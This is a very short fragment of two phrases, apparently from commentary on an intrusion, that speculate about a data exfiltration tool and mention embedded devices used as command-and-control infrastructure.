might be their data exfiltration tool
, embedded devices are used as C2
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